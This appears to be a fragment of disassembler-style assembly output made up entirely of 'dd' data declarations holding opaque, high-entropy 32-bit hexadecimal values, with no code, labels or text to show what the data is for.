dd 991D89EBh, 7E417261h, 2BFBEAAh, 0C977B203h, 878FE02Ah
dd 9183345Ah, 0F43FE343h, 4F55FAF1h, 76FB20E3h, 3543D36Ah
dd 6F2AC48h, 0DD51F18Dh, 4759847Ch, 8710F7B8h, 361B887Bh
dd 0E3792614h, 0BC7D7E7Fh, 21219C45h, 3406D6B8h, 16FD0E7Ch
dd 97666693h, 446A9FACh, 0F0DA4C50h, 24D5AD61h, 545C8D7Fh
dd 0A1B2AB5Eh, 2869BD7Bh, 16669BCFh, 510828Ch, 0F36A8840h
dd 0A692E23Ah, 0EB6584Ah, 81C98CC2h, 2C798366h, 7D5BE9BEh
dd 53133CF7h, 5432CA0Eh, 926A8A98h, 0CBEF48B9h, 0DBA05C4Bh
dd 0CBEB15D0h, 6A5AB91Dh, 34EBE1AEh, 9F5750F5h, 0D5072978h
dd 8DBDD8ECh, 0CE2A002Dh, 81A74733h, 0D750ABFBh, 0A182B50Eh
dd 1AF7C310h, 0C74D8598h, 0B4624F0h, 3A667CBh, 2E8FF1CCh
dd 4748B5EDh, 0B846777Ch, 49944440h, 0C11235FEh, 0D1F360EAh
dd 0B64600DAh, 0E68C7D2Dh, 5EF3598Ch, 3DF4D34Bh, 0CCC11BF0h
dd 0FD7A5237h, 57716EEFh, 0AE8EDF22h, 3B04A367h, 7787AFE2h
dd 0CCCC6BE6h, 162E2DDh, 0E07CE107h, 0D01B9727h, 0FC0054C6h
dd 3144768Eh, 0DBB7CECFh, 0A041A8CFh, 5CCB486h, 955E9170h
dd 0B7805B4Fh, 730E547Ch, 3636555Bh, 2C05A824h, 0DE78890h
dd 8D10F56Fh, 0CB783169h, 0DC719213h, 24EB1942h, 48FD60D6h
dd 0B5B7AAC6h, 8344F4Bh, 0CF458DDAh, 3A95670Fh, 0A1254CE5h
dd 0E43EF8E5h, 84F1330Eh, 0B20044Dh, 10009B9Ch, 0D7ABC9E4h
dd 8DCF2662h, 1763DE14h, 26E5C2A5h, 619308CDh, 5FD82537h
dd 824612F1h, 7072D8AEh, 0B86F0E1Eh, 0B945FE2h, 0DB401C6Fh
dd 6714EEFAh, 0A745B7FCh, 0A540BBBBh, 0B9DB35FFh, 9AA139C7h
dd 9A72B9F8h, 0D3F33543h, 4349CB5Dh, 1B58766Ah, 99D3EFD2h
dd 6A318F4h, 12B2005Dh, 0BECD4C8Bh, 2A23D8A8h, 4D462F79h
dd 85FDE316h, 914AAD74h, 0FF254737h, 0A986DD3Bh, 25F85072h
dd 0FD40693Ah, 6A21623Fh, 4FA341E2h, 1A02652Bh, 29B1D77Ch
dd 0D03E13D5h, 34EE25CEh, 8B0FC427h, 0E6D84103h, 165D4038h
dd 9F8DF12Eh, 0C430E543h, 4CF527B7h, 9A77A1E5h, 0EFE91F28h
dd 533BA6B1h, 0ED5CB013h, 7084A711h, 37E3D2D0h, 4B7BC4A8h
dd 9997F8EBh, 4E54C803h, 0FD14166Bh, 0E71F4160h, 30A0AAE9h
dd 284891B9h, 4B680526h, 7810EA1Eh, 4B5E046Fh, 0D36180D9h
dd 0A3E1271Fh, 6F65C492h, 0F7678808h, 45F59932h, 3F12D5F0h
dd 5AE4756Ah, 8285718Dh, 0D229D789h, 1FF51E64h, 0A894384Ch
dd 1BDEC3F6h, 5FB987F8h, 0D8B93D4Bh, 9F6D975Ch, 9603EC57h
dd 2488CBAFh, 192593CAh, 59DEC9A5h, 8212BC6h, 0CB0F53F7h
dd 864B264Dh, 83B7EBA2h, 1FDBD8AEh, 8239AE9Bh, 456D1943h
dd 0B84BB7F1h, 3CA8A042h, 0A49E565Fh, 79BA0746h, 4B99CC6Fh
dd 267C2C05h, 83008315h, 0A2D7DAA0h, 43D22BCAh, 504CC314h
dd 8D37B31Bh, 4BD5D9A6h, 0D4D772A8h, 3B78A785h, 0B76D0ED1h
dd 7FA61205h, 7B9A19BFh, 2694FB0h, 0FB9D674Ah, 141267B1h
dd 0FAB20670h, 2F1E9FD8h, 434B23DEh, 0DC0F26CDh, 0D1922C8Dh
dd 2DB74000h, 6763B678h, 897F06ADh, 6BA72AA8h, 2D077C9Ch
dd 0F2BB21BEh, 40ABC656h, 0E9AAC60Eh, 445A7A93h, 53B46FC1h
dd 87DAA90Fh, 89B70094h, 0AC622F46h, 9FE7F24Ah, 97BF1462h
dd 31522B52h, 0F3B47B49h, 3A9FE667h, 288D1E7Ah, 0CA0F0733h
dd 0F49E15D6h, 7B025EBEh, 0C91DDA81h, 8EF8451Dh, 0B226C310h
dd 5A24FAA3h, 0F5A8F402h, 0D06D4899h, 0DF61CA0Eh, 8534F56Bh
dd 0E1BD087Eh, 0E4D74A29h, 4E2949D6h, 4694BB9Fh, 77A2A55Eh
dd 0FABF782Dh, 2C2866h, 81656F62h, 1F115927h, 69FBD387h
dd 7063C131h, 47916D1Fh, 21D617EBh, 77F47388h, 0BB992EDAh
dd 3B564E6Ch, 0F8F393B7h, 0AAB357E9h, 0AF3A59h, 0FE0DF8E5h
dd 132E3170h, 26DE392Eh, 441BA881h, 8AD12C3Bh, 0B5E8A402h
dd 0D7E0980h, 8827B574h, 0FDAF7240h, 40014C6h, 9522D45Dh
dd 0B12A3C60h, 51100826h, 628B8981h, 0C8469028h, 5A4FCFDBh
dd 227AEEFAh, 0A7127F0h, 0FEF1191Eh, 816BFA9Bh, 966EC088h
dd 4841D48Ch, 6449B133h, 0BDC04FB5h, 0DD401050h, 9AABFBD1h
dd 8F118D7Bh, 4DBFD59Eh
dd 6D8CDD12h, 254E277Eh, 3C51C225h, 90FDD2C1h, 0E6F78D18h
dd 0BDC3EE58h, 0CD819771h, 1DF35F46h, 3D4C7F03h, 6EC29B5Ch
dd 5340FA01h, 69A715FBh, 665257h, 1FE7E0E9h, 10446F8Eh
dd 0F7C71D37h, 563428A4h, 0DAA389D3h, 0F77480A3h, 0A36D4C75h
dd 347A6A0Dh, 832859ADh, 0EEAF20A3h, 0C3AF1BC4h, 646036Fh
dd 0CAC45CA3h, 8FCAFEB5h, 97087E04h, 0E10D5757h, 279CAE10h
dd 0AEE91091h, 0F6B27D44h, 0BD2E3DA3h, 241AC32h, 645C94B2h
dd 19ABEADDh, 0BD9F9DE0h, 8CEF37B9h, 0E6982CACh, 136043A4h
dd 4FB6047Eh, 47339395h, 0A41E8ED6h, 0BC798E7Ah, 0F82814F2h
dd 0C20F08C4h, 351CF505h, 5C63D778h, 3AADE4A9h, 106308E0h
dd 0DA33E8CCh, 3240B6CEh, 2CB592BBh, 94A94579h, 43D951C5h
dd 98AA10ACh, 5772D835h, 0F3DE9E14h, 0BA987FB5h, 0A0226BE8h
dd 0BA618754h, 397C999Fh, 0A1B425EBh, 0A3C8C525h, 0EE405BF7h
dd 36A99D6Bh, 0A2E0F5A0h, 316F2953h, 210729F4h, 8E70C9h
dd 27D9B5ACh, 1060C1CDh, 9C3E7598h, 5863A907h, 6E5EE517h
dd 13624196h, 3766DC04h, 0D8A08A12h, 0DFA79EE7h, 0CDCF2DCDh
dd 0B644A837h, 902D18AAh, 0AC96D8E9h, 0DC0996F3h, 0EF0D0C83h
dd 50B5C4Fh, 618ED301h, 0F9A2CB87h, 0D3772C7Eh, 0FEA8BEAh
dd 5AE56F96h, 59EDE51Fh, 0E0E3A812h, 2A2C8B1Ch, 432A8259h
dd 0E25ADA59h, 337D89C1h, 0F9F634E6h, 50E66ADBh, 9E72F5C0h
dd 81220646h, 65049E97h, 2A017D5h, 0ADFC6C11h, 0E89E6AA1h
dd 0EB8210B8h, 265C5570h, 2F4E2C2Bh, 0FA441A58h, 0FAF02A6Ch
dd 1597F719h, 71B63F31h, 0A037D256h, 4C6AF135h, 8999B26Eh
dd 0A067DC0Eh, 60DC7DF9h, 57838974h, 476F065Bh, 96AE997Bh
dd 66D7C79Ch, 365AB253h, 1D9E87DEh, 8CC3BF5Bh, 7901E2EAh
dd 966F87h, 0C3A5E66h, 0F842F6B0h, 0FA8294E7h, 0AE8DC8A8h
dd 9338DF4Ch, 0D33DB1D8h, 65CA95A0h, 0D28223BEh, 9A926B38h
dd 80396813h, 0DD1B8D57h, 0BDB81CE7h, 0BD6FE4EAh, 1D89BCCFh
dd 577A819Dh, 7AD9CFB4h, 5BD8FBF5h, 33A8F337h, 0B154BB76h
dd 0ABF28E0Bh, 0ACFB4570h, 0F805C8CCh, 508A4FFFh, 61509DBBh
dd 6FFA5019h, 0BA35A9A7h, 27660B3h, 0CE70AC7Ch, 0F5550EC3h
dd 0FDF42A01h, 67012550h, 76E2CB5Ch, 0E34EB899h, 755AA07h
dd 0E9DCE42Fh, 87D27199h, 4A2B89DDh, 6B9732ACh, 0ADCCAFA3h
dd 7FE8F224h, 0D125A9E3h, 149C837h, 0A39A2F45h, 5D6BFDDh
dd 8AFAB0h, 0E03A3126h, 0D3C0846Fh, 0B6038E5Ch, 9A3365EBh
dd 0DB0356F2h, 234221F1h, 0AB266D76h, 0E5688343h, 1DB6D95Ah
dd 0BED29281h, 0AAC99C8Ch, 91A1E61h, 5B2D46C0h, 0C24EC47Dh
dd 3F2A6006h, 2AE9A36Ah, 695E7D89h, 0C3E0B085h, 6274E00Fh
dd 9372B79Dh, 0B5A60FECh, 0E39E9CADh, 82E1D0B9h, 0EE0C7074h
dd 0D9E94EFEh, 8218020Bh, 16E41F02h, 700091C9h, 2D3E0E68h
dd 92177487h, 0CFDEA07Dh, 0EA1276E0h, 1E005623h, 10FD99ACh
dd 2E105FC2h, 17CEE47Fh, 1034162Dh, 0FC88A9DDh, 2A787036h
dd 98225764h, 5F7290D3h, 515D86A3h, 71170266h, 14EBDDF6h
dd 0C591AB13h, 19EE6CCDh, 87BDD78Ch, 4FF24B55h, 11B69FA4h
dd 0EA0B31BFh, 789191D4h, 580B5873h, 0BCF2A5D4h, 1F90EFACh
dd 1236A7FBh, 0BD88561h, 0F821A95Ch, 248D1308h, 0AE2E31h
dd 0ACF63E80h, 2140D791h, 0DDF9A05Bh, 77579E9Ch, 14E6B067h
dd 0E92F2541h, 325D3553h, 0F41B4010h, 870C0B14h, 0FDFE0FAh
dd 0EA62BADBh, 561D301Ch, 7A16276Ch, 0CF987059h, 78AFBA1Eh
dd 0F4499CB9h, 0E9A70856h, 0F1A1D449h, 0A9431B77h, 0ED1D0F71h
dd 98671DA8h, 7445E210h, 2EF937Ch, 0CD321CC7h, 55DDB9DAh
dd 22BDC619h, 54B4ED45h, 6283632Ch, 0A916B4B4h, 3631A902h
dd 0A0D8C222h, 8DAA6DB0h, 1E015499h, 1E8E187Eh, 295D7BECh
dd 9AA4D43Fh, 6DF3E8B9h, 0C397CE67h, 79EE9913h, 0E846C1F1h
dd 2A2248E4h, 4995ADE1h, 8F5632F8h, 970FA5F6h, 6AE4544Ah
dd 9EABBFF6h, 2E96F3AAh, 585DF55h, 0E2AC4478h, 0F2CF14BBh
dd 0B6F1BADDh, 0A528DBFEh, 3685C98Bh, 47273492h, 0B30AF2BBh
dd 65222C9Fh, 0EAEBED7Dh, 25304AC6h, 0F4D5D550h, 5A6A1E2Eh
dd 3B23933Fh, 1E7EC0EBh, 53CB7670h, 0C479F37h, 22912ED3h
dd 0CA6A1F5Bh, 652985EBh, 0C32CA594h, 0BE947348h, 1F73EAC6h
dd 0A1BA7AE6h, 55F7B6FBh, 56972FDAh, 0BC5D6E0Ch, 0F805A24Bh
dd 1243D89Ah, 996590A7h, 6BB51F3Eh, 65A7EB4Ch, 79F9A5E3h
dd 0BBBC44A4h, 169D13D0h, 0CE3756BEh, 7DCCBD86h, 446760Ah
dd 2458C9Ch, 6D72BA59h, 0D0686115h, 0D61F7CFCh, 5C61D3Dh
dd 2479FF92h, 121C52A2h, 0BB173BEFh, 0ADFB4C5Ah, 0E2DF55DCh
dd 0D618C5B5h, 22EAB7AFh, 45A0C564h, 0E13FFE47h, 7DBD67D1h
dd 0DBB7322Ah, 0FC2357C3h, 0D8C38F3Dh, 5E6D8585h, 6AB2F0A1h
dd 621A4DE5h, 121138B6h, 7327C6D0h, 0CE8F51A9h, 0DA266E9h
dd 3B335EC1h, 31552D7Eh, 53ADF529h, 0C60A08E6h, 81CA5490h
dd 0ACEFF37Ah, 1BF9D989h, 0C99EB44Ch, 52EC14C8h, 44D891A2h
dd 4D2FC78Ch, 0F796469Ch, 6E6F7F16h, 9CA3C3C1h, 0AD0EB8A6h
dd 53EDBE2Dh, 370F82F2h, 2A00ECCFh, 8F61B920h, 0E2FFC24Fh
dd 0C4EB7621h, 0E67DFC34h, 3DD6998Dh, 5085EC75h, 0CB018F49h
dd 2EFD0099h, 16E34035h, 0ECED48BBh, 0FEBE7519h, 9751A5ECh
dd 9F0187A4h, 7182071Ch, 0E1A4AA62h, 74636F30h, 2B6F1D18h
dd 980842C8h, 1CD0D64Bh, 0FE718123h, 2FB3900Bh, 32C9960Eh
dd 2307EA63h, 0B4B8C81h, 0CFCFB189h, 0D2292EE4h, 77B3227Fh
dd 7ACBB40Fh, 0C0CBEE3Eh, 0F693C01Fh, 45B40A8Bh, 0EDC6DD64h
dd 0AAF8EAD7h, 10DCE40Dh, 20916972h, 3C5DF19Ah, 0C12F2AC9h
dd 0BF6285C3h, 0F2891F99h, 4DAD4A2Fh, 94BA1F67h, 5EBE9F8Bh
dd 23A46A77h, 0AD94E0A9h, 0B37C5091h, 125FC10Dh, 51951778h
dd 26820715h, 44656A04h, 74AFFE06h, 5AD95DB4h, 7C0B8250h
dd 4F871102h, 9EA6DD65h, 0A74E7640h, 57C741C6h, 0C334AD96h
dd 93CB614Eh, 0BF7F159Eh, 9A69C94Ch, 9CEB8035h, 0AC7FBE4Ah
dd 3DCC00FFh, 4C51C3D9h, 9FC981A4h, 0D7FFC74Bh, 0AE90C352h
dd 5733BD69h, 5A40D4DEh, 32394C8h, 0BE666FAFh, 8E97D55Eh
dd 77D01171h, 55DC8C56h, 5DC6B06Ch, 41C2EC2Ah, 1B28CF67h
dd 0BC33AE94h, 993F8F05h, 0F77BB8A6h, 0B25897DAh, 4025461Ch
dd 18FF2AC0h, 0F54B6F68h, 0BEF5D997h, 0DAEC9404h, 0C92F89EFh
dd 0C4EBED98h, 46DCF256h, 4907FA80h, 7B576147h, 5AFE3C2Ch
dd 52ACF192h, 98217402h, 890E606Dh, 31854DDDh, 0A4505BAh
dd 0D258D23Ch, 71F6A536h, 0B9F826CDh, 2D791173h, 1B367A26h
dd 13EC026Bh, 0B3E206C9h, 5CE3280Ch, 331CC865h, 0B06BD14Bh
dd 0F9445A1h, 51374116h, 23F871E8h, 0B8EB4A46h, 0B11327E4h
dd 481C9CE7h, 0D994266h, 0E7C609B7h, 4A23F64Bh, 0A34CF7AAh
dd 5E62CA2Bh, 645C3320h, 14AE91FBh, 734271Dh, 0E4F50856h
dd 49258C39h, 482F916Fh, 147D31D3h, 49AF486Fh, 0E651DAE9h
dd 6C7C77ECh, 675F9716h, 0A04F3728h, 0E9DD0632h, 9D4887E8h
dd 73DA759Ah, 9DC17B12h, 1C4CCA1Fh, 12DFD4C5h, 1EA7B137h
dd 68DA2B02h, 0A97BE7C1h, 289B4498h, 61D26806h, 78190006h
dd 6C5893D8h, 0BB7AA335h, 0EAF97D33h, 528220BEh, 0E97AC6D9h
dd 5004C5C6h, 564F3C6Ch, 134542FDh, 0C29A9048h, 0B4E54F8h
dd 0B73CDEE2h, 0B426E04h
dd 9F7A4C91h, 0F07B93E7h, 62C3C10h, 2BDF921Ch, 0F7097BCAh
dd 0A95C6722h, 0EF2C240Ch, 1812999Eh, 81B4C98h, 493FE7B4h
dd 31B79E34h, 0D00B5DA7h, 0BEA8BD53h, 0B1D120C4h, 650B0875h
dd 6D437850h, 4A159D4Ch, 8252412Bh, 0E8BBD306h, 332C9F36h
dd 0D58C0FBDh, 3B0FC956h, 1F1EB0BBh, 66E7B157h, 313B1377h
dd 0D7DA9BFh, 8ADE9A79h, 0DFA7A18h, 0A5BD1B99h, 60669EE8h
dd 0DF106536h, 5CC43B99h, 0AF7972AFh, 9561AC23h, 1BE05C38h
dd 9D447D2Ch, 0A873EFBAh, 5A3E6791h, 144CA3EFh, 7514274Ah
dd 6FF8B8FAh, 6B9176A4h, 0D63FBFFh, 0C9B136BDh, 48C4E24Ch
dd 26E4A6EFh, 2B6E694Bh, 8C29746Ch, 0E6A3E1CEh, 64D1C75Bh
dd 0CF4EB1C9h, 464A1DB4h, 0E8991ED4h, 0B8F10770h, 0C71A28h
dd 7036F671h, 0B68761A9h, 0D84572AAh, 0D4298022h, 77E25C95h
dd 0C10BD229h, 0C294D42Ah, 0FF09A013h, 0D4EBB4A4h, 0ADF6A48Dh
dd 3EFA5079h, 1290EE33h, 31D18D9h, 0E329463Eh, 5F20970Eh
dd 9D7EB88Dh, 5A47CCD1h, 8A817E46h, 7627FEC5h, 8B426975h
dd 2A5C9E57h, 5BABFD5Eh, 0DB1F3D5Eh, 3C998463h, 36B33C77h
dd 1816860Dh, 0D76394F7h, 0E9FA9F59h, 20A816Eh, 7C773162h
dd 2DDE3F09h, 8D2CA0D5h, 83900D23h, 830400EBh, 0A3712F8Ch
dd 0BE066D78h, 78FE87BFh, 650F0BD1h, 780C94C0h, 3002794h
dd 462B8320h, 16A8B101h, 741F7F03h, 0B3AE89E9h, 9C1A0D46h
dd 29B85257h, 7112C5D3h, 2915F928h, 5AE6FD24h, 7BA7497h
dd 27571EFFh, 5352FDABh, 5F95A430h, 885DA3A0h, 116E10AEh
dd 1730B7B4h, 22C00364h, 6E39DEADh, 211243CCh, 0CB80C876h
dd 0C6245E85h, 59F39EE3h, 0C1A68254h, 0E2F11527h, 0C4BA331h
dd 0D7690BE9h, 16C78BA2h, 0C0FB1AFAh, 0D846307Ch, 438CFC00h
dd 0E0FFB354h, 0D272A996h, 756C03B8h, 3719C192h, 629DF7F1h
dd 0ACFE2B95h, 331A437Fh, 0D104F295h, 726D261h, 0BF9D1814h
dd 4BC99457h, 664470C9h, 1A5EE3C6h, 94CD48ABh, 77A3539Ah
dd 0A29D6312h, 0C41E3D73h, 308E7138h, 0F35890A3h, 717BCD5Dh
dd 6EFA42F7h, 0D3C4EF9h, 0A711513Fh, 0C1569856h, 0E4CDE110h
dd 78E81ECCh, 61C5AF30h, 0B2A23AC6h, 44AF3768h, 0D9276658h
dd 0C7FB31D7h, 142AD285h, 56CE8DC4h, 0FCF2FA1h, 60DB07Bh
dd 814083C7h, 40DFFE61h, 39BD1035h, 601DDA3Dh, 7CC1270Ah
dd 0CF96CB23h, 6C08FEE9h, 7E54D58Ch, 13B92E73h, 0ED36265Fh
dd 0A65C5048h, 19910929h, 56AA1E6Bh, 0FDE434B5h, 4E609E32h
dd 0F02331B4h, 0DE37CAB5h, 76954533h, 61726D94h, 0E1579E2Bh
dd 0C25F5831h, 0A0D2EC8Ah, 460EF697h, 7EB758ECh, 37AB469Bh
dd 767FC3B6h, 50FF9EB8h, 5B68CB0Fh, 8C75A3F0h, 9FFB8451h
dd 9E122ECh, 0E6F387C4h, 7D942939h, 0C27314FFh, 9DFC4AD3h
dd 6F98B132h, 16421FCEh, 0B10F2C0Ah, 0B06BF726h, 666C4062h
dd 0D8AB1111h, 69C05C77h, 8A46C2C8h, 0C7F9D021h, 0B5C04BBDh
dd 0C42DE916h, 53048054h, 363AEFEFh, 899A3A22h, 0CDBABFE0h
dd 2E0BFAECh, 0EFF1F844h, 1FE0E081h, 832BCCC6h, 160190EEh
dd 93FC34B0h, 0DA8C23E7h, 293C202Eh, 5A0AE5B0h, 0E89C8925h
dd 0C5CB9567h, 0E0DA4252h, 160CB4BCh, 0FEBE36E9h, 847F8533h
dd 4F1D861Eh, 714774Eh, 8297A866h, 295115FBh, 5746F323h
dd 569ED710h, 69916B6Bh, 2B3AF559h, 974DBE8Dh, 5878B097h
dd 8BE6F82Eh, 0F3EE10Eh, 53B5DB69h, 0F6E30B7Bh, 0A469DA0Ch
dd 4ADD5BA3h, 0E72AE500h, 4F2044FEh, 7B6CD131h, 0D7B9D75Dh
dd 3464A6BAh, 0DCC98C2Dh, 0EFA57556h, 0CB45983Eh, 0CFC2BD69h
dd 0AD008ADBh, 0A6792565h, 0DA6802D9h, 3128DD93h, 0D6E2214Bh
dd 1D249B43h, 11701410h, 0F22C6B10h, 7287D051h, 560D0640h
dd 4132CC9Ah, 0A0BC653Eh, 4DC643C9h, 0C9980575h, 0CDA53682h
dd 5D2A43C7h, 1B0F5A82h, 0B5228E19h, 0C70982CEh, 798CE8A5h
dd 7F5400FAh, 7DEF75EAh, 0C3EB7CC1h, 6E88A47h, 0BD8C6462h
dd 0F578FF6Fh, 971C7027h, 296CF674h, 7B8C049Bh, 956B46BFh
dd 8B3A54FDh, 36FDF1D2h, 4B0C67F7h, 3CCCFA60h, 99B84E8Bh
dd 0FABE6757h, 1845B6FDh, 0A78BCD02h, 16338202h, 0C5BE7C85h
dd 0CFAC6056h, 0F60F5F21h, 6BE085D0h, 0C12B3E92h, 0FDD046Eh
dd 0B0E4B7FFh, 53E1C7ABh, 0FD0CC6Eh, 6975F82Bh, 0CC9A6835h
dd 0FE14C006h, 0CAD7BAACh, 1EEACD7h, 0A149F99Bh, 6F4B64B6h
dd 6B34B1ADh, 4DC428B7h, 2020F539h, 0E13FF75Eh, 159C29D8h
dd 8B1420Bh, 677E508Dh, 5786CF05h, 0CE010BAEh, 3C41AF5h
dd 8CDFCA83h, 0BBF4DDAh, 91EBC19Dh, 9B020F65h, 0E157B034h
dd 8BE232C7h, 4F96FB11h, 38DCA558h, 0BC52C3C4h, 8822D445h
dd 6EB10065h, 3D006FECh, 0C8F263C6h, 0D6013F02h, 11A80AABh
dd 1509C1C1h, 7FBF9F9h, 0DA6A6E47h, 63E4CAB6h, 0C0277103h
dd 0F20A46EFh, 0E8F9808Eh, 4496D0DCh, 69F33124h, 542C64DEh
dd 46D8154h, 72641F3Fh, 0FECCFD2Bh, 0DB7DC236h, 0AD69989Bh
dd 1FE09A41h, 0D28DC9F5h, 61D2BC5h, 3D2035C3h, 0FAE2253Eh
dd 0A5FC90A8h, 5D66744Bh, 700575D2h, 0FF16773Bh, 0FF1AFA16h
dd 0AA1E82E3h, 0B3690434h, 2BD2923Eh, 0F6C2902Ah, 3BF7768Bh
dd 8420F951h, 7CCBA4Ch, 94688791h, 71E89576h, 19D27EE6h
dd 0A7ABBB87h, 4E460161h, 566E0E59h, 0BE62A3C7h, 92DA39C8h
dd 76C0941Ah, 0C3A8B8CFh, 3EED05ADh, 5E4D7234h, 0E03D2FBCh
dd 0D990AA13h, 6241022Eh, 627AC5A1h, 925A5CEh, 62F9F8AEh
dd 53BA2B67h, 0CD4AC238h, 65C9824Bh, 19ED37Ch, 4CFD4839h
dd 16C37A79h, 85CC71F4h, 86DB6790h, 0EA32B8B3h, 776A9776h
dd 0B6DCB5Eh, 559257B1h, 498146E1h, 0FAD9ED72h, 9092FFE6h
dd 425821D9h, 8F7456B1h, 8137F24Ah, 1E6328Eh, 5437EF3Eh
dd 0A0F27AEBh, 99ABB970h, 7B8F7E03h, 94AD31A9h, 6DD1A755h
dd 9761BE46h, 0D67DFCADh, 4EA0B247h, 0A2AB1BEAh, 0E227EA32h
dd 94159F55h, 58CA1C37h, 751FF55Ch, 45F9DE11h, 0DC30EF88h
dd 6E87B0CBh, 0B6BDFF83h, 1C0E6A8Ch, 9DCDDB25h, 6482342Ch
dd 0E1ABAB10h, 0DEFC3489h, 0BED68156h, 978E06EEh, 90EF50C2h
dd 0C8D1D414h, 62A17E00h, 4CEFDCA5h, 0F03EEC43h, 0E268B0C9h
dd 0D7778F29h, 82B79DACh, 722E4C9h, 0A8B032DCh, 67F10F10h
dd 710FBE7Ah, 7D91ECD2h, 0A5832152h, 0C01D256Dh, 0C02A0D08h
dd 250565ADh, 1539009Ah, 0A131F2EEh, 4DE7297h, 5C13481Dh
dd 0D00B3248h, 0FDBD6F21h, 0B8E7341Eh, 0A7F831FFh, 562F327Eh
dd 6B240242h, 0F4046A21h, 0C87FDDB6h, 0FFC5EB52h, 0BA1FE902h
dd 21B91FBh, 32FE13F9h, 4E819B60h, 87583B5Eh, 2558F4F6h
dd 0EE664902h, 0B0D144D0h, 31BCF7ABh, 8E16DC55h, 89ABE930h
dd 6ACF875Fh, 8A14208Dh, 96371F23h, 96BA809Ah, 7A330710h
dd 7244F633h, 0FE285756h, 8EA7ADC6h, 2B2D27CDh, 0AAF818E6h
dd 0F0A64F43h, 7517DBB5h, 0C34CAD80h, 0FB95E3D4h, 986007B2h
dd 8158E565h, 15415ECh, 0BF7E864Ah, 0DE11C476h, 7588C54Fh
dd 0EA57DEB6h, 5ABB89BDh, 0CDF48CDAh, 5A65F676h, 3319F20h
dd 2051CB22h, 0CAF2DD15h, 0ED50B767h, 0D379C6Ch, 3F96153Ah
dd 1BEF930Bh, 0DE7D0BB1h, 6141C5E9h, 0F2F5782Eh, 0A547415Dh
dd 4D52755h, 0AC865DA5h, 3E14D6DEh, 54EC4523h, 4D781F7Bh
dd 0D11E49E6h, 90FDAC11h, 6C2A9DEFh, 388EF026h, 0C5711494h
dd 4965DD67h, 1101ABA1h
dd 6662E42Eh, 0CD1833EBh, 768FB039h, 741B1284h, 0E8AE94D0h
dd 0A8A08595h, 6B415033h, 3E1CE70Bh, 36C7CE6Ch, 139812A9h
dd 0E7835FDCh, 5B0E4213h, 0A735F1BDh, 311120D6h, 24E9C00Ch
dd 81213DA4h, 9AB35355h, 0D01FCECBh, 56A8E8EEh, 0B9D9CBE3h
dd 19908A8Dh, 0B4FF609Ch, 0DCAC1F20h, 0BF2EE1FDh, 0B50AF829h
dd 4031D01Ah, 0DDB7A730h, 0DB8DB429h, 7A4009ADh, 493AF349h
dd 700A44Ch, 7F62BF11h, 5E620628h, 725E2CEBh, 0E4143A8Bh
dd 2B258235h, 4AA0D156h, 0C992458Fh, 90C66E4Dh, 65B5EB92h
dd 5BF0AAA7h, 89BE2279h, 9709E0F5h, 0A43705FFh, 45864FC7h
dd 0DEEC0982h, 1D649C3Fh, 8C270D22h, 0AD9878A4h, 6D2FAC07h
dd 600BED78h, 8E3E60FEh, 6D795A63h, 7C7E40C4h, 80AA9849h
dd 0D237221Ah, 0AB6A465Ah, 39EA4DDCh, 5E2FE6FEh, 55472792h
dd 0C5669E8Eh, 0F2372529h, 0B171E0Ch, 0C5E4DCC2h, 41C4BCFBh
dd 7D03E197h, 15578EAEh, 0DB51291Fh, 6F5B3D77h, 0C40BC76Ah
dd 5233D9F7h, 0DBC1070Ah, 469E2B46h, 164AC843h, 0AD1582DDh
dd 0C25936FFh, 0E134E85Ah, 15422701h, 73DE1172h, 7A344123h
dd 0C5CF51A2h, 3481D800h, 18FEC12Ah, 0ED4C23EFh, 2F76A797h
dd 67574080h, 542C970Eh, 0F0F3D577h, 97EBC21Fh, 0E2D05367h
dd 0F62F027Eh, 4F6BBA28h, 56B3F3F6h, 0A454D06Dh, 45C7C5EFh
dd 0F2ECB12Fh, 14985722h, 2CB8CF05h, 591AFA60h, 269A2500h
dd 0FE747367h, 2B17B178h, 3231CC77h, 41C3A63Bh, 0AF2E6166h
dd 89BF02Ah, 973F2C63h, 2701575Dh, 0BC286E90h, 90EA8D06h
dd 9A172A8Dh, 7310EC6Eh, 0B0DCA1B5h, 0E5437A9Eh, 8963F38Ah
dd 9D4CC7Ch, 0E3D99186h, 0A83F3542h, 8A4287FBh, 57FC03EFh
dd 347980C4h, 3A228AABh, 59E4EC91h, 21799F27h, 0CDD79C11h
dd 0A574941Ah, 8C415787h, 0CAE16AC5h, 0C585D5C4h, 84CBB405h
dd 0CABCEDF2h, 0EDAEB364h, 5B0D7933h, 72967CD7h, 0B8BF8767h
dd 0BDD65589h, 0AAEDF020h, 0F974E58Fh, 0D2E7B2FCh, 685E9A5Ch
dd 0B2616836h, 0C50D9E2Ah, 0C09BEEF1h, 9D5EC9Fh, 0E7038814h
dd 89838D0Ch, 82F417B3h, 7E224D73h, 33B5D12Fh, 99D0B523h
dd 0D506F85Bh, 0A97947F5h, 61480520h, 78CC41D3h, 0F12B6CDEh
dd 0E0C9A6EEh, 34BDD081h, 0CC10AE4Dh, 0DD7F2791h, 9B8F2182h
dd 0B47A65B2h, 9FB1B824h, 13062126h, 0D3FA0B3Dh, 0ABC1C7A2h
dd 0D62606C7h, 0E358268Eh, 393B9416h, 0DBA35ECAh, 35F1D5A0h
dd 0E7AF31F5h, 78028320h, 4293E64Fh, 0AB761FA9h, 0CFC75EEDh
dd 93020B1Fh, 0E2E2F6Fh, 0C5F73CEAh, 1E9121C3h, 0A6045C2Fh
dd 0FFE8F856h, 70F22296h, 0B9E7D2F5h, 0C89488C4h, 65C95BABh
dd 0C25EDC67h, 1E4C7E88h, 0F844A05Fh, 808BC9ECh, 39704284h
dd 26E7BD21h, 0C66E88A6h, 4169E760h, 77938905h, 46D2AF8Fh
dd 31680DA2h, 0F1DB2F7Eh, 53E04328h, 0EBED7DE6h, 1B5CD0FAh
dd 0E055BEB3h, 0C3551698h, 915C8964h, 72A5959Ch, 607F83Dh
dd 0BD7D1620h, 73C8EF7Ch, 336AEC39h, 0C6A4FEB9h, 51F13F35h
dd 0A9D0865Dh, 792F809Eh, 3096CE21h, 0AB566F0Ah, 0C953DDBEh
dd 48D5F076h, 0DB16DE38h, 5F57EB31h, 0CEB4EF9Ah, 0E8DE0A2Dh
dd 26ABACABh, 3EAD561Bh, 0D648EE51h, 93AD0C00h, 0C846932Bh
dd 0E8723A7Ah, 0E47E19Fh, 8E761E8Ch, 956D05EBh, 39141746h
dd 8A722DCCh, 0C7276C15h, 97A4AA45h, 6254E22Bh, 2A6A41C8h
dd 52A6427Bh, 0E1E4F2FDh, 65DB6ACFh, 0B0B814E8h, 2EBD36C6h
